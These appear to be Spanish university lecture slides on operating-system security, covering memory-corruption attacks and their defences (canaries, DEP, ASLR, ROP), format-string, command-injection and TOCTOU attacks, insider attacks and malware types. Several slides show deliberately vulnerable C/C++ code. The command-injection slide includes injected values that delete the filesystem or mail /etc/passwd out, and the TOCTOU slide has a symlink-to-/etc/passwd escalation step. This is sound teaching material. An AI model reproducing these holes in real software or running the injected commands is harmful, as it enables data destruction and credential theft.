Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAtaques de desbordamiento de bufer Ataques de cadena de formato Punteros colgados (dangling pointers) Ataques de desreferencia de punteros nulos Ataques de desbordamiento de enteros Ataques inyeccion de ordenes Ataques comprobacion/uso (Time of Check to Time of Use Attacks)

Software de explotacion

Gustavo Romero Lopez Seguridad en Sistemas Operativos 53 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAtaques de desbordamiento de bufer Ataques de cadena de formato Punteros colgados (dangling pointers) Ataques de desreferencia de punteros nulos Ataques de desbordamiento de enteros Ataques inyeccion de ordenes Ataques comprobacion/uso (Time of Check to Time of Use Attacks)

Software de explotacion

Finalidad: Explotar vulnerabilidades del SO/software.Ejemplos:

http://pccito.ugr.es/~gustavo/ss/boom.html

Responsable: ¿Web? ¿Atacante? ¿ISP? ¿Intermediario?Drive-by-download: descarga, autorizada o no, de softwaremalicioso.Intermediario (Man in the middle):

Intercepcion de la comunicacion (eavesdropping).Sustitucion.Repeticion.Denegacion de servicio (Denial of Service - DoS).

Efecto Reina Roja: los ataques se vuelven mas sofisticadosa la vez que lo hacen las medidas de seguridad.

Aunque existen diversos tipos, cada exploit aprovecha unfallo software.

Existen contramedidas para tratar de evitar los exploits.

Gustavo Romero Lopez Seguridad en Sistemas Operativos 54 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAtaques de desbordamiento de bufer Ataques de cadena de formato Punteros colgados (dangling pointers) Ataques de desreferencia de punteros nulos Ataques de desbordamiento de enteros Ataques inyeccion de ordenes Ataques comprobacion/uso (Time of Check to Time of Use Attacks)

Ataques de desbordamiento de buferBuffer overflow attacks

Van a seguir con nosotros (Van der Veen, 2012).Motivo: uso de lenguajes de programacioninseguros.

No comprobar automaticamente el lımite de un bufer.

Se consigue el nivel de privilegio del programavulnerable: cuidado con SETUID root.Contramedidas en sistemas modernos:

Canarios (Stack canaries).Proteccion de ejecucion de datos (Data Execution Protection -DEP).Aleatorizacion del espacio de direcciones (Address-SpaceLayout Randomization - ASLR).

Gustavo Romero Lopez Seguridad en Sistemas Operativos 55 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAtaques de desbordamiento de bufer Ataques de cadena de formato Punteros colgados (dangling pointers) Ataques de desreferencia de punteros nulos Ataques de desbordamiento de enteros Ataques inyeccion de ordenes Ataques comprobacion/uso (Time of Check to Time of Use Attacks)

Ataques de desbordamiento de bufer

Gustavo Romero Lopez Seguridad en Sistemas Operativos 56 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAtaques de desbordamiento de bufer Ataques de cadena de formato Punteros colgados (dangling pointers) Ataques de desreferencia de punteros nulos Ataques de desbordamiento de enteros Ataques inyeccion de ordenes Ataques comprobacion/uso (Time of Check to Time of Use Attacks)

Ataques de desbordamiento de bufer¿Es seguro?

C

1 char buffer [100];

2

3 for (int i = 0; i < 100; ++i)

4 buffer[i] = ...

C++

1 std::vector <int > buffer (100);

2

3 for (int i = 0; i < buffer.size(); ++i)

4 buffer[i] = ...

Gustavo Romero Lopez Seguridad en Sistemas Operativos 57 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAtaques de desbordamiento de bufer Ataques de cadena de formato Punteros colgados (dangling pointers) Ataques de desreferencia de punteros nulos Ataques de desbordamiento de enteros Ataques inyeccion de ordenes Ataques comprobacion/uso (Time of Check to Time of Use Attacks)

Canarios

Metodo de defensa contra los ataques de desbordamientode bufer.

Procedencia del nombre: canarios utilizados en las minas.

Dejar un valor aleatorio en la pila bajo la direccion deretorno y comprobar que sigue allı tras una llamada.

Debe usarse explıcitamente:

gcc -fstack-protector{-all}

Informacion adicional: http://xorl.wordpress.com/2010/10/14/linux-glibc-stack-canary-values/

Gustavo Romero Lopez Seguridad en Sistemas Operativos 58 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAtaques de desbordamiento de bufer Ataques de cadena de formato Punteros colgados (dangling pointers) Ataques de desreferencia de punteros nulos Ataques de desbordamiento de enteros Ataques inyeccion de ordenes Ataques comprobacion/uso (Time of Check to Time of Use Attacks)

Evitando los canarios

No alterarlo o hacerlo tras su verificacion.

El desbordamiento de bufer no se limita a direcciones deretorno.

Los punteros a funcion son vulnerables.

Tanto pila como montıculo (heap) son vulnerables.

Gustavo Romero Lopez Seguridad en Sistemas Operativos 59 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAtaques de desbordamiento de bufer Ataques de cadena de formato Punteros colgados (dangling pointers) Ataques de desreferencia de punteros nulos Ataques de desbordamiento de enteros Ataques inyeccion de ordenes Ataques comprobacion/uso (Time of Check to Time of Use Attacks)

Proteccion de ejecucion de datosData Execution Protection (DEP)

La causa real del problema no es la capacidad de unatacante de sobrescribir punteros a funcion o direccionesde retorno sino la capacidad de inyectar codigo.

¿Por que no hacer imposible la ejecucion de codigo enlas zonas de datos?

Los ataques de inyeccion de codigo dejarıan defuncionar.

Los procesadores modernos tiene el bit NX (No Execute).

Empleado en todos los sistemas operativos modernos.

WˆX = la memoria se puede escribir o ejecutar, pero noambas.Formas de conseguir DEP (Data Execution Prevention):

Hardware: bit NX (No Execute).Software.

Gustavo Romero Lopez Seguridad en Sistemas Operativos 60 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAtaques de desbordamiento de bufer Ataques de cadena de formato Punteros colgados (dangling pointers) Ataques de desreferencia de punteros nulos Ataques de desbordamiento de enteros Ataques inyeccion de ordenes Ataques comprobacion/uso (Time of Check to Time of Use Attacks)

Ataques de reutilizacion de codigo

Dado que...Los canarios dificultan sobrescribir direcciones de retorno ypunteros a funcion.DEP impide la ejecucion de codigo en regiones de datos.

¿Para que molestarnos en inyectar nuevo codigosi nuestros programas estan llenos de el?Ataques clasicos de reutilizacion de codigo:

return to libcreturn-oriented programming (ROP)

Gustavo Romero Lopez Seguridad en Sistemas Operativos 61 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAtaques de desbordamiento de bufer Ataques de cadena de formato Punteros colgados (dangling pointers) Ataques de desreferencia de punteros nulos Ataques de desbordamiento de enteros Ataques inyeccion de ordenes Ataques comprobacion/uso (Time of Check to Time of Use Attacks)

return to libc

Supongamos que podemos cambiar la direccion de retornopero no ejecutar codigo sobre la pila.¿A donde retornar?Casi todos los programas enlazan funciones de libc.Escoger binario y funcion: system, mprotect,... o PLT(Procedure Linkage Table).

Gustavo Romero Lopez Seguridad en Sistemas Operativos 62 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAtaques de desbordamiento de bufer Ataques de cadena de formato Punteros colgados (dangling pointers) Ataques de desreferencia de punteros nulos Ataques de desbordamiento de enteros Ataques inyeccion de ordenes Ataques comprobacion/uso (Time of Check to Time of Use Attacks)

return-oriented programming (ROP)

Mas complejo yfrecuente hoy dıa.

En lugar de retornarsiempre al principio deuna funcion escogercualquier direccion delsegmento de codigo.

Buscar fragmentos utilesde codigo acabados enuna instruccion deretorno.

Compiladores ROP:herramientasautomaticas.

Gustavo Romero Lopez Seguridad en Sistemas Operativos 63 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAtaques de desbordamiento de bufer Ataques de cadena de formato Punteros colgados (dangling pointers) Ataques de desreferencia de punteros nulos Ataques de desbordamiento de enteros Ataques inyeccion de ordenes Ataques comprobacion/uso (Time of Check to Time of Use Attacks)

Aleatorizacion del espacio de direccionesAddress-Space Layout Randomization (ASLR)

Suele ser posible elegir una direccion exacta de retorno.

En el peor de los casos por fuerza bruta.

¿Que pasarıa si las direcciones de mi programa cambiancada vez que lo ejecuto?

¿Que cambiar? Pila, montıculo y bibliotecas.

Usado por la mayorıa de los sistemas operativos.

Canarios + DEP + ASLR = costo razonable.

Gustavo Romero Lopez Seguridad en Sistemas Operativos 64 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAtaques de desbordamiento de bufer Ataques de cadena de formato Punteros colgados (dangling pointers) Ataques de desreferencia de punteros nulos Ataques de desbordamiento de enteros Ataques inyeccion de ordenes Ataques comprobacion/uso (Time of Check to Time of Use Attacks)

Evitando ASLR

Los exploits siguen apareciendo... ¿Como es posible?

ASLR no suele ser tan aleatorio como deberıa.

Ejemplo de ataque, goteo de memoria:

Introducir un numero menor que 0 o mayor que 15.

Conocida una direccion de memoria es facil averiguar elresto.

Gustavo Romero Lopez Seguridad en Sistemas Operativos 65 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAtaques de desbordamiento de bufer Ataques de cadena de formato Punteros colgados (dangling pointers) Ataques de desreferencia de punteros nulos Ataques de desbordamiento de enteros Ataques inyeccion de ordenes Ataques comprobacion/uso (Time of Check to Time of Use Attacks)

Ataques que no modifican la secuencia de ejecucion

La mayorıa de los ataques intentan modificar direccionesde retorno y punteros a funcion para conseguir nuevafuncionalidad.Existe otro tipo de ataques en que la modificacion de losdatos basta.

Gustavo Romero Lopez Seguridad en Sistemas Operativos 66 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAtaques de desbordamiento de bufer Ataques de cadena de formato Punteros colgados (dangling pointers) Ataques de desreferencia de punteros nulos Ataques de desbordamiento de enteros Ataques inyeccion de ordenes Ataques comprobacion/uso (Time of Check to Time of Use Attacks)

Desbordamiento de bufer: la ultima palabra, o casi...

Es una de las tecnicas mas antiguas y utilizadas.

Parece imposible acabar con ellas1.

Reparto de culpas: lenguaje deprogramacion/programadores.Activo campo de investigacion:

Medidas de seguridad en los binarios.Extensiones de seguridad para compiladores.

1Victor van Der Veen, Nitish dutt-Sharma, Lorenzo Cavallaro y HertbertBos. Memory errors: the past, the present, and the future. En Research inAttacks, Intrusions, and Defenses. Paginas: 86-106. Springer. 2012.

Gustavo Romero Lopez Seguridad en Sistemas Operativos 67 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAtaques de desbordamiento de bufer Ataques de cadena de formato Punteros colgados (dangling pointers) Ataques de desreferencia de punteros nulos Ataques de desbordamiento de enteros Ataques inyeccion de ordenes Ataques comprobacion/uso (Time of Check to Time of Use Attacks)

Ataques de cadena de formato

Ataque de corrupcion de memoria.

Permite escribir cualquier cosa en cualquier sitio.

A los programadores no les gusta teclear...

seguro

1 char *s = "hola mundo";

2 printf(" %s", s);

vulnerable

1 char *s = "hola mundo";

2 printf(s);

Gustavo Romero Lopez Seguridad en Sistemas Operativos 68 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAtaques de desbordamiento de bufer Ataques de cadena de formato Punteros colgados (dangling pointers) Ataques de desreferencia de punteros nulos Ataques de desbordamiento de enteros Ataques inyeccion de ordenes Ataques comprobacion/uso (Time of Check to Time of Use Attacks)

Ataques de cadena de formatoParametros mas utilizados en este tipo de ataques

Gustavo Romero Lopez Seguridad en Sistemas Operativos 69 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAtaques de desbordamiento de bufer Ataques de cadena de formato Punteros colgados (dangling pointers) Ataques de desreferencia de punteros nulos Ataques de desbordamiento de enteros Ataques inyeccion de ordenes Ataques comprobacion/uso (Time of Check to Time of Use Attacks)

Ataques de cadena de formato

ejemplo de uso de %n: numero de caracteres impresos

5 int i = 0;

6 printf("hola %n mundo\n", &i);

7 printf("i = %d\n", i);

programa vulnerable

6 char s[100], g[100] = "hola ";

7 gets(s); // lee s

8 strcat(g, s); // g += s

9 printf(g); // escribe s

Gustavo Romero Lopez Seguridad en Sistemas Operativos 70 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAtaques de desbordamiento de bufer Ataques de cadena de formato Punteros colgados (dangling pointers) Ataques de desreferencia de punteros nulos Ataques de desbordamiento de enteros Ataques inyeccion de ordenes Ataques comprobacion/uso (Time of Check to Time of Use Attacks)

Ataques de cadena de formato

http://pccito.ugr.es/ss/teoria/seguridad/src/fsa-exploit.c

4 int main(int argc , char** argv)

5 {

6 char buffer [100];

7 strncpy(buffer , argv[1], 100);

8 printf(buffer);

9 return 0;

10 }

Muchos ejemplos en Internet:

http://codearcana.com/posts/2013/05/02/

introduction-to-format-string-exploits.html

https:

//www.owasp.org/index.php/Format_string_attack

Gustavo Romero Lopez Seguridad en Sistemas Operativos 71 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAtaques de desbordamiento de bufer Ataques de cadena de formato Punteros colgados (dangling pointers) Ataques de desreferencia de punteros nulos Ataques de desbordamiento de enteros Ataques inyeccion de ordenes Ataques comprobacion/uso (Time of Check to Time of Use Attacks)

Punteros colgadosDangling pointers

Tecnica de corrupcion de memoria.

Causa: acceso a un area de memoria de la que ya nosomos propietarios.

1 int *buffer = new int [100]; // :)

2 // hacer algo con buffer // :)

3 delete [] buffer; // :)

4 buffer [0] = 7; // :(

El ataque heap feng shui permite escoger que colocar enesa direccion de memoria.

Gustavo Romero Lopez Seguridad en Sistemas Operativos 72 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAtaques de desbordamiento de bufer Ataques de cadena de formato Punteros colgados (dangling pointers) Ataques de desreferencia de punteros nulos Ataques de desbordamiento de enteros Ataques inyeccion de ordenes Ataques comprobacion/uso (Time of Check to Time of Use Attacks)

Ataques de desreferencia de punteros nulos

En cada acceso a memoria la MMU traduce de direccionvirtual a fısica.

Linux de 32 bits: espacio de usuario (3GB)/nucleo (1GB).

Motivo de la cohabitacion: eficiencia, cambiar de espaciode direcciones es costoso.

Mecanismo explotado: llamar funciones de usuario desdeel nucleo.

La desreferencia de un puntero nulo produce un falloporque no hay codigo mapeado en la pagina 0.

Exploit: mapear direccion 0, copiar un shellcode yprovocar la desreferencia.

Solucion: prohibir a mmap la direccion 0.

Gustavo Romero Lopez Seguridad en Sistemas Operativos 73 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAtaques de desbordamiento de bufer Ataques de cadena de formato Punteros colgados (dangling pointers) Ataques de desreferencia de punteros nulos Ataques de desbordamiento de enteros Ataques inyeccion de ordenes Ataques comprobacion/uso (Time of Check to Time of Use Attacks)

Ataques de desbordamiento de enteros

Aritmetica entera de longitud fija: 8..128 bits.

La mayorıa de lenguajes no detectan este error.Secuencia:

1 entrada de usuario2 desbordamiento de enteros3 desbordamiento de bufer

Gustavo Romero Lopez Seguridad en Sistemas Operativos 74 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAtaques de desbordamiento de bufer Ataques de cadena de formato Punteros colgados (dangling pointers) Ataques de desreferencia de punteros nulos Ataques de desbordamiento de enteros Ataques inyeccion de ordenes Ataques comprobacion/uso (Time of Check to Time of Use Attacks)

Ataques de inyeccion de ordenes

http://pccito.ugr.es/ss/teoria/seguridad/src/command.injection.cc

7 std:: string orden = "cp ", origen , destino;

8 std::cout << "Fichero origen: ";

9 std:: getline(std::cin , origen);

10 orden += origen;

11 std::cout << "Fichero destino: ";

12 std:: getline(std::cin , destino);

13 orden += " " + destino;

14 system(orden.c_str());

Hacer que un programa ejecute ordenes sin darse cuentade que lo esta haciendo.Ejemplos:

cp abc xyz

cp abc xyz; rm -rfv /

cp abc xyz; mail [email protected] < /etc/passwd

Gustavo Romero Lopez Seguridad en Sistemas Operativos 75 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAtaques de desbordamiento de bufer Ataques de cadena de formato Punteros colgados (dangling pointers) Ataques de desreferencia de punteros nulos Ataques de desbordamiento de enteros Ataques inyeccion de ordenes Ataques comprobacion/uso (Time of Check to Time of Use Attacks)

Ataques comprobacion/usoTime of Check to Time of Use Attacks (TOCTOU)

Explotacion de una condicion de carrera.

victima ejecutando programa setuid root

1 if (access("file", W_OK) != 0)

2 exit (1);

3 fd = open("file", O_WRONLY);

4 write(fd, buffer , sizeof(buffer));

Un atacante debe alterar file tras la comprobacion, lınea1, y antes del uso, lıneas 3 y 4.

programa atacante

symlink("/etc/passwd", "file");

Se consigue escalar privilegios.

Gustavo Romero Lopez Seguridad en Sistemas Operativos 76 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software malicioso

Ataques desde dentro

Gustavo Romero Lopez Seguridad en Sistemas Operativos 77 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software malicioso

Ataques desde dentro

Ejecutados por empleados.

Poseen informacion con la que un atacante externo nocuenta.Clasificacion:

Bombas logicas.Puertas traseras.Suplantacion de identidad (login spoofing).

Gustavo Romero Lopez Seguridad en Sistemas Operativos 78 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software malicioso

Bombas logicas

En epocas de externalizacion existen personas que sepreparan ante una eventual ”patada en el culo”.

Codigo para sabotear el funcionamiento de un programa.

Motivo: chantaje de un trabajador a su empleador.

Gustavo Romero Lopez Seguridad en Sistemas Operativos 79 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software malicioso

Puertas traseras

Codigo que da acceso a funcionalidades restringidas.

Razon por la que las revisiones de codigo sonobligatorias.

intento de puerta trasera en linux en 2003

1 if (( options == (__WCLONE|__WALL)) && (

current ->uid = 0))

2 retval = -EINVAL;

Gustavo Romero Lopez Seguridad en Sistemas Operativos 80 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software malicioso

Suplantacion de identidadlogin spoofing

Un usuario legıtimo intenta conseguir las clavesde los demas.

Ejemplo: falsificacion de la pantalla deidentificacion.

Contramedida: pulsacion de CTRL-ALT-DEL.

Gustavo Romero Lopez Seguridad en Sistemas Operativos 81 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoTroyanos Virus Gusanos

Software malicioso

Gustavo Romero Lopez Seguridad en Sistemas Operativos 82 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoTroyanos Virus Gusanos

Software maliciosomalware

Troyano −→ virus −→ gusano

Compromete el sistema −→ se autoreplica conintervencion humana −→ no requiere la intervencion delusuario

Responsables de danos por millones de euros.

Escritos por aburrimiento o deseo de impresionar sin hacerdinero con ello.

Por desgracia se ha profesionalizado: crimen y guerra.

Zombi (Zombie): maquina comprometida.

Botnet: coleccion de zombis.

Delitos con el apellido “cibernetico”: spam, chantaje,robo, extorsion, fraude, minerıa, robo de identidad, ...

Gustavo Romero Lopez Seguridad en Sistemas Operativos 83 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoTroyanos Virus Gusanos

Troyanos

Escribir software es facil.

Conseguir que mucha gente lo ejecute es difıcil.

Truco: anadir el software a un programaatractivo.

Una vez dentro suele copiarse y asegurar sureinicio automatico ademas de cumplir con sufuncion (payload).

Funciones habituales: buscar (claves, no detarjeta), destruir, cifrar, zombificar, ...

Gustavo Romero Lopez Seguridad en Sistemas Operativos 84 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoTroyanos Virus Gusanos

Virus

Un virus es un programa que es capaz de hacercopias de sı mismo.

Suelen estar escritos en ensamblador o C.

Suelen distribuirse infectando software legıtimo.

Una vez alcanza su objetivo tiene dos misiones:autoreplicarse y ejecutar su carga (payload).

Gustavo Romero Lopez Seguridad en Sistemas Operativos 85 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoTroyanos Virus Gusanos

Tipos de virus I

Virus acompanante (companion virus): se ejecuta enlugar de otro programa sin infectarlo.

En la epoca del MSDOS, al escribir prog en lugar deejecutarse prog.exe en su lugar se ejecutaba prog.com.

Virus de programa ejecutable: sobrescribe unejecutable con su codigo (overwritting virus).

Cuantos mas binarios sobrescriba antes sera detectado.Existe una version para MSDOS en ensamblador de 44 bytes.Son muy faciles de detectar.Virus parasitos: permite el normal funcionamiento delprograma infectado.

Gustavo Romero Lopez Seguridad en Sistemas Operativos 86 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoTroyanos Virus Gusanos

Tipos de virus II

Virus residentes en memoria: es capaz de permaceneren memoria independientemente del programa desde elque inicio su ejecucion.

Mejor ubicacion: vector de interrupciones.Se ejecuta con cada llamada al sistema.Una vez detectado exec() infecta al nuevo programa.

Gustavo Romero Lopez Seguridad en Sistemas Operativos 87 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoTroyanos Virus Gusanos

Tipos de virus III

Virus de sector de arranque: al encender el ordenadorla BIOS ejecuta el MBR.

El virus se situa en el MBR y sectores en desuso o marcadoscomo estropeados.Ejecutamos el virus en cada arranque.El nivel de privilegio es total.Durante el arranque del SO el virus se hace residente enmemoria.

Virus de controlador de dispositivo (device drivervirus): hacer un virus residente en memoria es difıcil, esmucho mejor si el SO lo carga disfrazado de controladorde dispositivo.

En windows los controladores son programas ejecutables.Se cargan al arrancar el sistema.Se ejecutan en modo nucleo.

Gustavo Romero Lopez Seguridad en Sistemas Operativos 88 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoTroyanos Virus Gusanos

Tipos de virus IV

Macro Virus: virus escrito en un lenguajeinterpretado.

Las macros de Office permite ejecutar programas escritos enVisual Basic.La mayor parte de la gente no sabe lo que es.Siguen existiendo por su gran utilidad.

Virus de codigo fuente: para evitar que el virus dependade un SO esconder entre las lıneas del fuente de unprograma:

1 #include <virus.h>

2 ejecutar_virus ();

Gustavo Romero Lopez Seguridad en Sistemas Operativos 89 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoTroyanos Virus Gusanos

Gusanos

Primer gusano liberado por R.T. Morris en 1988.

Descubrio dos fallos en UNIX.

Escribio un programa los explotaba para conseguir accesoy replicarse.

La mayorıa de sistemas Sun y VAX cayeron.

2 partes: arranque (rsh, finger, sendmail) y gusano(passwd).

Como consecuencia se creo el CERT (ComputerEmergency Response Team).

Gustavo Romero Lopez Seguridad en Sistemas Operativos 90 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoTroyanos Virus Gusanos

Bibliografıa

Basica:

Modern Operating Systems (4th Edition). Andrew S.Tanenbaum. Prentice Hall. 2014.

Adicional:

Wikipedia: Seguridad Informatica

Carnegie Mellon University: Operating System Security

Gustavo Romero Lopez Seguridad en Sistemas Operativos 91 / 91